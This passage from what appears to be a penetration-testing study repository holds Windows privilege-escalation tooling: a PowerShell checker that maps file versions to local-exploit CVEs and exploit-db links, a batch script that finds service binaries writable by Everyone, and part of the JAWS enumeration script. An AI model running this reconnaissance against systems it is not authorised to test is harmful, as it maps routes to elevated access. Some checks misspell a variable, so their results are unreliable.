Returns "64-bit" or "32-bit". 50 | $CPUArchitecture = (Get-WmiObject Win32_OperatingSystem).OSArchitecture 51 | 52 | # This is the process architecture, e.g. are we an x86 process running on a 64-bit system. Retuns "AMD64" or "x86". 53 | $ProcessArchitecture = $env:PROCESSOR_ARCHITECTURE 54 | 55 | return $CPUArchitecture, $ProcessArchitecture 56 | 57 | } 58 | 59 | function Get-CPUCoreCount { 60 | 61 | $CoreCount = (Get-WmiObject Win32_Processor).NumberOfLogicalProcessors 62 | 63 | return $CoreCount 64 | 65 | } 66 | 67 | function New-ExploitTable { 68 | 69 | # Create the table 70 | $Global:ExploitTable = New-Object System.Data.DataTable 71 | 72 | # Create the columns 73 | $Global:ExploitTable.Columns.Add("Title") 74 | $Global:ExploitTable.Columns.Add("MSBulletin") 75 | $Global:ExploitTable.Columns.Add("CVEID") 76 | $Global:ExploitTable.Columns.Add("Link") 77 | $Global:ExploitTable.Columns.Add("VulnStatus") 78 | 79 | # Add the exploits we are interested in. 80 | 81 | # MS10 82 | $Global:ExploitTable.Rows.Add("User Mode to Ring (KiTrap0D)","MS10-015","2010-0232","https://www.exploit-db.com/exploits/11199/") 83 | $Global:ExploitTable.Rows.Add("Task Scheduler .XML","MS10-092","2010-3338, 2010-3888","https://www.exploit-db.com/exploits/19930/") 84 | # MS13 85 | $Global:ExploitTable.Rows.Add("NTUserMessageCall Win32k Kernel Pool Overflow","MS13-053","2013-1300","https://www.exploit-db.com/exploits/33213/") 86 | $Global:ExploitTable.Rows.Add("TrackPopupMenuEx Win32k NULL Page","MS13-081","2013-3881","https://www.exploit-db.com/exploits/31576/") 87 | # MS14 88 | $Global:ExploitTable.Rows.Add("TrackPopupMenu Win32k Null Pointer Dereference","MS14-058","2014-4113","https://www.exploit-db.com/exploits/35101/") 89 | # MS15 90 | $Global:ExploitTable.Rows.Add("ClientCopyImage Win32k","MS15-051","2015-1701, 2015-2433","https://www.exploit-db.com/exploits/37367/") 91 | $Global:ExploitTable.Rows.Add("Font Driver Buffer Overflow","MS15-078","2015-2426, 2015-2433","https://www.exploit-db.com/exploits/38222/") 92 | # MS16 93 | $Global:ExploitTable.Rows.Add("'mrxdav.sys' WebDAV","MS16-016","2016-0051","https://www.exploit-db.com/exploits/40085/") 94 | $Global:ExploitTable.Rows.Add("Secondary Logon Handle","MS16-032","2016-0099","https://www.exploit-db.com/exploits/39719/") 95 | $Global:ExploitTable.Rows.Add("Windows Kernel-Mode Drivers EoP","MS16-034","2016-0093/94/95/96","https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-034?") 96 | $Global:ExploitTable.Rows.Add("Win32k Elevation of Privilege","MS16-135","2016-7255","https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135") 97 | # Miscs that aren't MS 98 | $Global:ExploitTable.Rows.Add("Nessus Agent 6.6.2 - 6.10.3","N/A","2017-7199","https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199.html") 99 | 100 | } 101 | 102 | function Set-ExploitTable ($MSBulletin, $VulnStatus) { 103 | 104 | if ( $MSBulletin -like "MS*" ) { 105 | 106 | $Global:ExploitTable | Where-Object { $_.MSBulletin -eq $MSBulletin 107 | 108 | } | ForEach-Object { 109 | 110 | $_.VulnStatus = $VulnStatus 111 | 112 | } 113 | 114 | } else { 115 | 116 | 117 | $Global:ExploitTable | Where-Object { $_.CVEID -eq $MSBulletin 118 | 119 | } | ForEach-Object { 120 | 121 | $_.VulnStatus = $VulnStatus 122 | 123 | } 124 | 125 | } 126 | 127 | } 128 | 129 | function Get-Results { 130 | 131 | $Global:ExploitTable 132 | 133 | } 134 | 135 | function Find-AllVulns { 136 | 137 | if ( !$Global:ExploitTable ) { 138 | 139 | $null = New-ExploitTable 140 | 141 | } 142 | 143 | Find-MS10015 144 | Find-MS10092 145 | Find-MS13053 146 | Find-MS13081 147 | Find-MS14058 148 | Find-MS15051 149 | Find-MS15078 150 | Find-MS16016 151 | Find-MS16032 152 | Find-MS16034 153 | Find-MS16135 154 | Find-CVE20177199 155 | 156 | Get-Results 157 | 158 | } 159 | 160 | function Find-MS10015 { 161 | 162 | $MSBulletin = "MS10-015" 163 | $Architecture = Get-Architecture 164 | 165 | if ( $Architecture[0] -eq "64-bit" ) { 166 | 167 | $VulnStatus = "Not supported on 64-bit systems" 168 | 169 | } Else { 170 | 171 | $Path = $env:windir + "\system32\ntoskrnl.exe" 172 | $VersionInfo = Get-FileVersionInfo($Path) 173 | $VersionInfo = $VersionInfo.Split(".") 174 | 175 | $Build = $VersionInfo[2] 176 | $Revision = $VersionInfo[3].Split(" ")[0] 177 | 178 | switch ( $Build ) { 179 | 180 | 7600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "20591" ] } 181 | default { $VulnStatus = "Not Vulnerable" } 182 | 183 | } 184 | 185 | } 186 | 187 | Set-ExploitTable $MSBulletin $VulnStatus 188 | 189 | } 190 | 191 | function Find-MS10092 { 192 | 193 | $MSBulletin = "MS10-092" 194 | $Architecture = Get-Architecture 195 | 196 | if ( $Architecture[1] -eq "AMD64" -or $Architecture[0] -eq "32-bit" ) { 197 | 198 | $Path = $env:windir + "\system32\schedsvc.dll" 199 | 200 | } ElseIf ( $Architecture[0] -eq "64-bit" -and $Architecture[1] -eq "x86" ) { 201 | 202 | $Path = $env:windir + "\sysnative\schedsvc.dll" 203 | 204 | } 205 | 206 | $VersionInfo = Get-FileVersionInfo($Path) 207 | $VersionInfo = $VersionInfo.Split(".") 208 | 209 | $Build = $VersionInfo[2] 210 | $Revision = $VersionInfo[3].Split(" ")[0] 211 | 212 | switch ( $Build ) { 213 | 214 | 7600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "20830" ] } 215 | default { $VulnStatus = "Not Vulnerable" } 216 | 217 | } 218 | 219 | Set-ExploitTable $MSBulletin $VulnStatus 220 | 221 | } 222 | 223 | function Find-MS13053 { 224 | 225 | $MSBulletin = "MS13-053" 226 | $Architecture = Get-Architecture 227 | 228 | if ( $Architecture[0] -eq "64-bit" ) { 229 | 230 | $VulnStatus = "Not supported on 64-bit systems" 231 | 232 | } Else { 233 | 234 | $Path = $env:windir + "\system32\win32k.sys" 235 | $VersionInfo = Get-FileVersionInfo($Path) 236 | $VersionInfo = $VersionInfo.Split(".") 237 | 238 | $Build = $VersionInfo[2] 239 | $Revision = $VersionInfo[3].Split(" ")[0] 240 | 241 | switch ( $Build ) { 242 | 243 | 7600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -ge "17000" ] } 244 | 7601 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "22348" ] } 245 | 9200 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "20732" ] } 246 | default { $VulnStatus = "Not Vulnerable" } 247 | 248 | } 249 | 250 | } 251 | 252 | Set-ExploitTable $MSBulletin $VulnStatus 253 | 254 | } 255 | 256 | function Find-MS13081 { 257 | 258 | $MSBulletin = "MS13-081" 259 | $Architecture = Get-Architecture 260 | 261 | if ( $Architecture[0] -eq "64-bit" ) { 262 | 263 | $VulnStatus = "Not supported on 64-bit systems" 264 | 265 | } Else { 266 | 267 | $Path = $env:windir + "\system32\win32k.sys" 268 | $VersionInfo = Get-FileVersionInfo($Path) 269 | $VersionInfo = $VersionInfo.Split(".") 270 | 271 | $Build = $VersionInfo[2] 272 | $Revision = $VersionInfo[3].Split(" ")[0] 273 | 274 | switch ( $Build ) { 275 | 276 | 7600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -ge "18000" ] } 277 | 7601 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "22435" ] } 278 | 9200 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "20807" ] } 279 | default { $VulnStatus = "Not Vulnerable" } 280 | 281 | } 282 | 283 | } 284 | 285 | Set-ExploitTable $MSBulletin $VulnStatus 286 | 287 | } 288 | 289 | function Find-MS14058 { 290 | 291 | $MSBulletin = "MS14-058" 292 | $Architecture = Get-Architecture 293 | 294 | if ( $Architecture[1] -eq "AMD64" -or $Architecture[0] -eq "32-bit" ) { 295 | 296 | $Path = $env:windir + "\system32\win32k.sys" 297 | 298 | } ElseIf ( $Architecture[0] -eq "64-bit" -and $Architecture[1] -eq "x86" ) { 299 | 300 | $Path = $env:windir + "\sysnative\win32k.sys" 301 | 302 | } 303 | 304 | $VersionInfo = Get-FileVersionInfo($Path) 305 | $VersionInfo = $VersionInfo.Split(".") 306 | 307 | $Build = $VersionInfo[2] 308 | $Revision = $VersionInfo[3].Split(" ")[0] 309 | 310 | switch ( $Build ) { 311 | 312 | 7600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -ge "18000" ] } 313 | 7601 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "22823" ] } 314 | 9200 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "21247" ] } 315 | 9600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "17353" ] } 316 | default { $VulnStatus = "Not Vulnerable" } 317 | 318 | } 319 | 320 | Set-ExploitTable $MSBulletin $VulnStatus 321 | 322 | } 323 | 324 | function Find-MS15051 { 325 | 326 | $MSBulletin = "MS15-051" 327 | $Architecture = Get-Architecture 328 | 329 | if ( $Architecture[1] -eq "AMD64" -or $Architecture[0] -eq "32-bit" ) { 330 | 331 | $Path = $env:windir + "\system32\win32k.sys" 332 | 333 | } ElseIf ( $Architecture[0] -eq "64-bit" -and $Architecture[1] -eq "x86" ) { 334 | 335 | $Path = $env:windir + "\sysnative\win32k.sys" 336 | 337 | } 338 | 339 | $VersionInfo = Get-FileVersionInfo($Path) 340 | $VersionInfo = $VersionInfo.Split(".") 341 | 342 | $Build = $VersionInfo[2] 343 | $Revision = $VersionInfo[3].Split(" ")[0] 344 | 345 | switch ( $Build ) { 346 | 347 | 7600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "18000" ] } 348 | 7601 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "22823" ] } 349 | 9200 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "21247" ] } 350 | 9600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "17353" ] } 351 | default { $VulnStatus = "Not Vulnerable" } 352 | 353 | } 354 | 355 | Set-ExploitTable $MSBulletin $VulnStatus 356 | 357 | } 358 | 359 | function Find-MS15078 { 360 | 361 | $MSBulletin = "MS15-078" 362 | 363 | $Path = $env:windir + "\system32\atmfd.dll" 364 | $VersionInfo = Get-FileVersionInfo($Path) 365 | $VersionInfo = $VersionInfo.Split(" ") 366 | 367 | $Revision = $VersionInfo[2] 368 | 369 | switch ( $Revision ) { 370 | 371 | 243 { $VulnStatus = "Appears Vulnerable" } 372 | default { $VulnStatus = "Not Vulnerable" } 373 | 374 | } 375 | 376 | Set-ExploitTable $MSBulletin $VulnStatus 377 | 378 | } 379 | 380 | function Find-MS16016 { 381 | 382 | $MSBulletin = "MS16-016" 383 | $Architecture = Get-Architecture 384 | 385 | if ( $Architecture[0] -eq "64-bit" ) { 386 | 387 | $VulnStatus = "Not supported on 64-bit systems" 388 | 389 | } Else { 390 | 391 | $Path = $env:windir + "\system32\drivers\mrxdav.sys" 392 | $VersionInfo = Get-FileVersionInfo($Path) 393 | $VersionInfo = $VersionInfo.Split(".") 394 | 395 | $Build = $VersionInfo[2] 396 | $Revision = $VersionInfo[3].Split(" ")[0] 397 | 398 | switch ( $Build ) { 399 | 400 | 7600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "16000" ] } 401 | 7601 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "23317" ] } 402 | 9200 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "21738" ] } 403 | 9600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "18189" ] } 404 | 10240 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "16683" ] } 405 | 10586 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le "103" ] } 406 | default { $VulnStatus = "Not Vulnerable" } 407 | 408 | } 409 | 410 | } 411 | 412 | Set-ExploitTable $MSBulletin $VulnStatus 413 | 414 | } 415 | 416 | function Find-MS16032 { 417 | 418 | $MSBulletin = "MS16-032" 419 | 420 | $CPUCount = Get-CPUCoreCount 421 | 422 | if ( $CPUCount -eq "1" ) { 423 | 424 | $VulnStatus = "Not Supported on single-core systems" 425 | 426 | } Else { 427 | 428 | $Architecture = Get-Architecture 429 | 430 | if ( $Architecture[1] -eq "AMD64" -or $Architecture[0] -eq "32-bit" ) { 431 | 432 | $Path = $env:windir + "\system32\seclogon.dll" 433 | 434 | } ElseIf ( $Architecture[0] -eq "64-bit" -and $Architecture[1] -eq "x86" ) { 435 | 436 | $Path = $env:windir + "\sysnative\seclogon.dll" 437 | 438 | } 439 | 440 | $VersionInfo = Get-FileVersionInfo($Path) 441 | 442 | $VersionInfo = $VersionInfo.Split(".") 443 | 444 | $Build = [int]$VersionInfo[2] 445 | $Revision = [int]$VersionInfo[3].Split(" ")[0] 446 | 447 | switch ( $Build ) { 448 | 449 | 6002 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revison -lt 19598 -Or ( $Revision -ge 23000 -And $Revision -le 23909 ) ] } 450 | 7600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le 19148 ] } 451 | 7601 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -lt 19148 -Or ( $Revision -ge 23000 -And $Revision -le 23347 ) ] } 452 | 9200 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revison -lt 17649 -Or ( $Revision -ge 21000 -And $Revision -le 21767 ) ] } 453 | 9600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revison -lt 18230 ] } 454 | 10240 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -lt 16724 ] } 455 | 10586 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le 161 ] } 456 | default { $VulnStatus = "Not Vulnerable" } 457 | 458 | } 459 | } 460 | 461 | Set-ExploitTable $MSBulletin $VulnStatus 462 | 463 | } 464 | 465 | function Find-MS16034 { 466 | 467 | $MSBulletin = "MS16-034" 468 | 469 | $Architecture = Get-Architecture 470 | 471 | if ( $Architecture[1] -eq "AMD64" -or $Architecture[0] -eq "32-bit" ) { 472 | 473 | $Path = $env:windir + "\system32\win32k.sys" 474 | 475 | } ElseIf ( $Architecture[0] -eq "64-bit" -and $Architecture[1] -eq "x86" ) { 476 | 477 | $Path = $env:windir + "\sysnative\win32k.sys" 478 | 479 | } 480 | 481 | $VersionInfo = Get-FileVersionInfo($Path) 482 | 483 | $VersionInfo = $VersionInfo.Split(".") 484 | 485 | $Build = [int]$VersionInfo[2] 486 | $Revision = [int]$VersionInfo[3].Split(" ")[0] 487 | 488 | switch ( $Build ) { 489 | 490 | 6002 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revison -lt 19597 -Or $Revision -lt 23908 ] } 491 | 7601 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -lt 19145 -Or $Revision -lt 23346 ] } 492 | 9200 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revison -lt 17647 -Or $Revision -lt 21766 ] } 493 | 9600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revison -lt 18228 ] } 494 | default { $VulnStatus = "Not Vulnerable" } 495 | 496 | } 497 | 498 | Set-ExploitTable $MSBulletin $VulnStatus 499 | 500 | } 501 | 502 | function Find-CVE20177199 { 503 | 504 | $CVEID = "2017-7199" 505 | $SoftwareVersion = Get-InstalledSoftware "Nessus Agent" 506 | 507 | if ( !$SoftwareVersion ) { 508 | 509 | $VulnStatus = "Not Vulnerable" 510 | 511 | } else { 512 | 513 | $SoftwareVersion = $SoftwareVersion.Split(".") 514 | 515 | $Major = [int]$SoftwareVersion[0] 516 | $Minor = [int]$SoftwareVersion[1] 517 | $Build = [int]$SoftwareVersion[2] 518 | 519 | switch( $Major ) { 520 | 521 | 6 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Minor -eq 10 -and $Build -le 3 -Or ( $Minor -eq 6 -and $Build -le 2 ) -Or ( $Minor -le 9 -and $Minor -ge 7 ) ] } # 6.6.2 - 6.10.3 522 | default { $VulnStatus = "Not Vulnerable" } 523 | 524 | } 525 | 526 | } 527 | 528 | Set-ExploitTable $CVEID $VulnStatus 529 | 530 | } 531 | 532 | function Find-MS16135 { 533 | 534 | $MSBulletin = "MS16-135" 535 | $Architecture = Get-Architecture 536 | 537 | if ( $Architecture[1] -eq "AMD64" -or $Architecture[0] -eq "32-bit" ) { 538 | 539 | $Path = $env:windir + "\system32\win32k.sys" 540 | 541 | } ElseIf ( $Architecture[0] -eq "64-bit" -and $Architecture[1] -eq "x86" ) { 542 | 543 | $Path = $env:windir + "\sysnative\win32k.sys" 544 | 545 | } 546 | 547 | $VersionInfo = Get-FileVersionInfo($Path) 548 | $VersionInfo = $VersionInfo.Split(".") 549 | 550 | $Build = [int]$VersionInfo[2] 551 | $Revision = [int]$VersionInfo[3].Split(" ")[0] 552 | 553 | switch ( $Build ) { 554 | 555 | 7601 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -lt 23584 ] } 556 | 9600 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le 18524 ] } 557 | 10240 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le 16384 ] } 558 | 10586 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le 19 ] } 559 | 14393 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable")[ $Revision -le 446 ] } 560 | default { $VulnStatus = "Not Vulnerable" } 561 | 562 | } 563 | 564 | Set-ExploitTable $MSBulletin $VulnStatus 565 | 566 | } 567 | 568 | Find-AllVulns 569 | -------------------------------------------------------------------------------- /PrivEsc/Windows/Watson.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AbsoZed/OSCP/af02aae3906f2be66bbb5c4756a02a4050117dbc/PrivEsc/Windows/Watson.exe -------------------------------------------------------------------------------- /PrivEsc/Windows/accesschk-2003-xp.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AbsoZed/OSCP/af02aae3906f2be66bbb5c4756a02a4050117dbc/PrivEsc/Windows/accesschk-2003-xp.exe -------------------------------------------------------------------------------- /PrivEsc/Windows/accesschk-2008-vista.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AbsoZed/OSCP/af02aae3906f2be66bbb5c4756a02a4050117dbc/PrivEsc/Windows/accesschk-2008-vista.exe -------------------------------------------------------------------------------- /PrivEsc/Windows/cacls.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | REM Description: Script that queries all services and searches for exeuctables that give the Everyone group RW access. 3 | REM Type: Incorrect file permissions 4 | REM Note: The ^ characters escapes certain characters that brerak the FOR loop. 5 | REM Note: tokens=1* - The value at the first delimeter and everything after. 6 | for /f "tokens=1*" %%m in ('sc query state^= all ^| find "SERVICE_NAME"') do ( 7 | for /f "tokens=1* delims=: " %%r in ('sc qc "%%~n" ^| find "BINARY_PATH_NAME"') do ( 8 | for /f "delims=" %%x in ('echo(%%~s^| findstr /L /V /I /C:"%SystemRoot%\System32" /C:"%SystemRoot%\SysWOW64"') do ( 9 | icacls "%%~x" 10 | ) 11 | ) 12 | ) 13 | -------------------------------------------------------------------------------- /PrivEsc/Windows/jaws-enum.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Windows enumeration script 4 | .DESCRIPTION 5 | This script is designed to be used in a penetration test or CTF 6 | enviroment. It will enumerate useful information from the host 7 | for privilege escalation. 8 | .EXAMPLE 9 | PS > .\jaws-enum.ps1 10 | will write results out to screen. 11 | .EXAMPLE 12 | PS > .\jaws-enum.ps1 -OutputFileName Jaws-Enum.txt 13 | Writes out results to Jaws-Enum.txt in current directory. 14 | .LINK 15 | https://github.com/411Hall/JAWS 16 | #> 17 | Param( 18 | [String]$OutputFilename = "" 19 | ) 20 | 21 | function JAWS-ENUM { 22 | write-output "`nRunning J.A.W.S. Enumeration" 23 | $output = "" 24 | $output = $output + "############################################################`r`n" 25 | $output = $output + "## J.A.W.S. (Just Another Windows Enum Script) ##`r`n" 26 | $output = $output + "## ##`r`n" 27 | $output = $output + "## https://github.com/411Hall/JAWS ##`r`n" 28 | $output = $output + "## ##`r`n" 29 | $output = $output + "############################################################`r`n" 30 | $output = $output + "`r`n" 31 | $win_version = (Get-WmiObject -class Win32_OperatingSystem) 32 | $output = $output + "Windows Version: " + (($win_version.caption -join $win_version.version) + "`r`n") 33 | $output = $output + "Architecture: " + (($env:processor_architecture) + "`r`n") 34 | $output = $output + "Hostname: " + (($env:ComputerName) + "`r`n") 35 | $output = $output + "Current User: " + (($env:username) + "`r`n") 36 | $output = $output + "Current Time\Date: " + (get-date) 37 | $output = $output + "`r`n" 38 | $output = $output + "`r`n" 39 | write-output " - Gathering User Information" 40 | $output = $output + "-----------------------------------------------------------`r`n" 41 | $output = $output + " Users`r`n" 42 | $output = $output + "-----------------------------------------------------------`r`n" 43 | $adsi = [ADSI]"WinNT://$env:COMPUTERNAME" 44 | $adsi.Children | where {$_.SchemaClassName -eq 'user'} | Foreach-Object { 45 | $groups = $_.Groups() | Foreach-Object {$_.GetType().InvokeMember("Name", 'GetProperty', $null, $_, $null)} 46 | $output = $output + "----------`r`n" 47 | $output = $output + "Username: " + $_.Name + "`r`n" 48 | $output = $output + "Groups: " + $groups + "`r`n" 49 | } 50 | $output = $output + "`r`n" 51 | $output = $output + "-----------------------------------------------------------`r`n" 52 | $output = $output + " Network Information`r`n" 53 | $output = $output + "-----------------------------------------------------------`r`n" 54 | $output = $output + (ipconfig | out-string) 55 | $output = $output + "`r`n" 56 | $output = $output + "-----------------------------------------------------------`r`n" 57 | $output = $output + " Arp`r`n" 58 | $output = $output + "-----------------------------------------------------------`r`n" 59 | $output = $output + (arp -a | out-string) 60 | $output = $output + "`r`n" 61 | $output = $output + "`r`n" 62 | $output = $output + "-----------------------------------------------------------`r`n" 63 | $output = $output + " NetStat`r`n" 64 | $output = $output + "-----------------------------------------------------------`r`n" 65 | $output = $output + (netstat -ano | out-string) 66 | $output = $output + "`r`n" 67 | $output = $output + "`r`n" 68 | $output = $output + "-----------------------------------------------------------`r`n" 69 | $output = $output + " Firewall Status`r`n" 70 | $output = $output + "-----------------------------------------------------------`r`n" 71 | $output = $output + "`r`n" 72 | $Firewall = New-Object -com HNetCfg.FwMgr 73 | $FireProfile = $Firewall.LocalPolicy.CurrentProfile 74 | if ($FireProfile.FirewallEnabled -eq $False) { 75 | $output = $output + ("Firewall is Disabled" + "`r`n") 76 | } else { 77 | $output = $output + ("Firwall is Enabled" + "`r`n") 78 | } 79 | $output = $output + "`r`n" 80 | $output = $output + "-----------------------------------------------------------`r`n" 81 | $output = $output + " FireWall Rules`r`n" 82 | $output = $output + "-----------------------------------------------------------`r`n" 83 | Function Get-FireWallRule 84 | {Param ($Name, $Direction, $Enabled, $Protocol, $profile, $action, $grouping) 85 | $Rules=(New-object -comObject HNetCfg.FwPolicy2).rules 86 | If ($name) {$rules= $rules | where-object {$_.name -like $name}} 87 | If ($direction) {$rules= $rules | where-object {$_.direction -eq $direction}} 88 | If ($Enabled) {$rules= $rules | where-object {$_.Enabled -eq $Enabled}} 89 | If ($protocol) {$rules= $rules | where-object {$_.protocol -eq $protocol}} 90 | If ($profile) {$rules= $rules | where-object {$_.Profiles -bAND $profile}} 91 | If ($Action) {$rules= $rules | where-object {$_.Action -eq $Action}} 92 | If ($Grouping) {$rules= $rules | where-object {$_.Grouping -like $Grouping}} 93 | $rules} 94 | $output = $output + (Get-firewallRule -enabled $true | sort direction,applicationName,name | format-table -property Name , localPorts,applicationname | out-string) 95 | $output = $output + "-----------------------------------------------------------`r`n" 96 | $output = $output + " Hosts File Content`r`n" 97 | $output = $output + "-----------------------------------------------------------`r`n" 98 | $output = $output + "`r`n" 99 | $output = $output + ((get-content $env:windir\System32\drivers\etc\hosts | out-string) + "`r`n") 100 | $output = $output + "`r`n" 101 | write-output " - Gathering Processes, Services and Scheduled Tasks" 102 | $output = $output + "-----------------------------------------------------------`r`n" 103 | $output = $output + " Processes`r`n" 104 | $output = $output + "-----------------------------------------------------------`r`n" 105 | $output = $output + ((Get-WmiObject win32_process | Select-Object Name,ProcessID,@{n='Owner';e={$_.GetOwner().User}},CommandLine | sort name | format-table -wrap -autosize | out-string) + "`r`n") 106 | $output = $output + "-----------------------------------------------------------`r`n" 107 | $output = $output + " Scheduled Tasks`r`n" 108 | $output = $output + "-----------------------------------------------------------`r`n" 109 | $output = $output + "Current System Time: " + (get-date) 110 | $output = $output + (schtasks /query /FO CSV /v | convertfrom-csv | where { $_.TaskName -ne "TaskName" } | select "TaskName","Run As User", "Task to Run" | fl | out-string) 111 | $output = $output + "`r`n" 112 | $output = $output + "-----------------------------------------------------------`r`n" 113 | $output = $output + " Services`r`n" 114 | $output = $output + "-----------------------------------------------------------`r`n" 115 | $output = $output + (get-service | Select Name,DisplayName,Status | sort status | Format-Table -Property * -AutoSize | Out-String -Width 4096) 116 | $output = $output + "`r`n" 117 | write-output " - Gathering Installed Software" 118 | $output = $output + "`r`n" 119 | $output = $output + "-----------------------------------------------------------`r`n" 120 | $output = $output + " Installed Programs`r`n" 121 | $output = $output + "-----------------------------------------------------------`r`n" 122 | $output = $output + (get-wmiobject -Class win32_product | select Name, Version, Caption | ft -hidetableheaders -autosize| out-string -Width 4096) 123 | $output = $output + "`r`n" 124 | $output = $output + "-----------------------------------------------------------`r`n" 125 | $output = $output + " Installed Patches`r`n" 126 | $output = $output + "-----------------------------------------------------------`r`n" 127 | $output = $output + (Get-Wmiobject -class Win32_QuickFixEngineering -namespace "root\cimv2" | select HotFixID, InstalledOn| ft -autosize | out-string ) 128 | $output = $output + "`r`n" 129 | $output = $output + "-----------------------------------------------------------`r`n" 130 | $output = $output + " Program Folders`r`n" 131 | $output = $output + "-----------------------------------------------------------`r`n" 132 | $output = $output + "`n`rC:\Program Files`r`n" 133 | $output = $output + "-------------" 134 | $output = $output + (get-childitem "C:\Program Files" -EA SilentlyContinue | select Name | ft -hidetableheaders -autosize| out-string) 135 | $output = $output + "C:\Program Files (x86)`r`n" 136 | $output = $output + "-------------------" 137 | $output = $output + (get-childitem "C:\Program Files (x86)" -EA SilentlyContinue | select Name | ft -hidetableheaders -autosize| out-string) 138 | $output = $output + "`r`n" 139 | write-output " - Gathering File System Information" 140 | $output = $output + "-----------------------------------------------------------`r`n" 141 | $output = $output + " Files with Full Control and Modify Access`r`n" 142 | $output = $output + "-----------------------------------------------------------`r`n" 143 | $files = get-childitem C:\ 144 | foreach ($file in $files){ 145 | try { 146 | $output = $output + (get-childitem "C:\$file" -include *.ps1,*.bat,*.com,*.vbs,*.txt,*.html,*.conf,*.rdp,.*inf,*.ini -recurse -EA SilentlyContinue | get-acl -EA SilentlyContinue | select path -expand access | 147 | where {$_.identityreference -notmatch "BUILTIN|NT AUTHORITY|EVERYONE|CREATOR OWNER|NT SERVICE"} | where {$_.filesystemrights -match "FullControl|Modify"} | 148 | ft @{Label="";Expression={Convert-Path $_.Path}} -hidetableheaders -autosize | out-string -Width 4096) 149 | } 150 | catch { 151 | $output = $output + "`nFailed to read more files`r`n" 152 | } 153 | } 154 | 155 | $output = $output + "-----------------------------------------------------------`r`n" 156 | $output = $output + " Folders with Full Control and Modify Access`r`n" 157 | $output = $output + "-----------------------------------------------------------`r`n" 158 | $folders = get-childitem C:\ 159 | foreach ($folder in $folders){ 160 | try { 161 | $output = $output + (Get-ChildItem -Recurse "C:\$folder" -EA SilentlyContinue | ?{ $_.PSIsContainer} | get-acl | select path -expand access | 162 | where {$_.identityreference -notmatch "BUILTIN|NT AUTHORITY|CREATOR OWNER|NT SERVICE"} | where {$_.filesystemrights -match "FullControl|Modify"} | 163 | select path,filesystemrights,IdentityReference | ft @{Label="";Expression={Convert-Path $_.Path}} -hidetableheaders -autosize | out-string -Width 4096) 164 | } 165 | catch { 166 | $output = $output + "`nFailed to read more folders`r`n" 167 | } 168 | } 169 | $output = $output + "`r`n" 170 | $output = $output + "-----------------------------------------------------------`r`n" 171 | $output = $output + " Mapped Drives`r`n" 172 | $output = $output + "-----------------------------------------------------------`r`n" 173 | $output = $output + (Get-WmiObject -Class Win32_LogicalDisk | select DeviceID, VolumeName | ft -hidetableheaders -autosize | out-string -Width 4096) 174 | $output = $output + "-----------------------------------------------------------`r`n" 175 | $output = $output + " Unquoted Service Paths`r`n" 176 | $output = $output + "-----------------------------------------------------------`r`n" 177 | $output = $output + (cmd /c 'wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """') 178 | $output = $output + "`r`n" 179 | $output = $output + "-----------------------------------------------------------`r`n" 180 | $output = $output + " Recent Documents`r`n" 181 | $output = $output + "-----------------------------------------------------------`r`n" 182 | $output = $output + (get-childitem "C:\Users\$env:username\AppData\Roaming\Microsoft\Windows\Recent" -EA SilentlyContinue | select Name | ft -hidetableheaders | out-string ) 183 | $output = $output + "`r`n" 184 | $output = $output + "-----------------------------------------------------------`r`n" 185 | $output = $output + " Potentially Interesting Files in Users Directory `r`n" 186 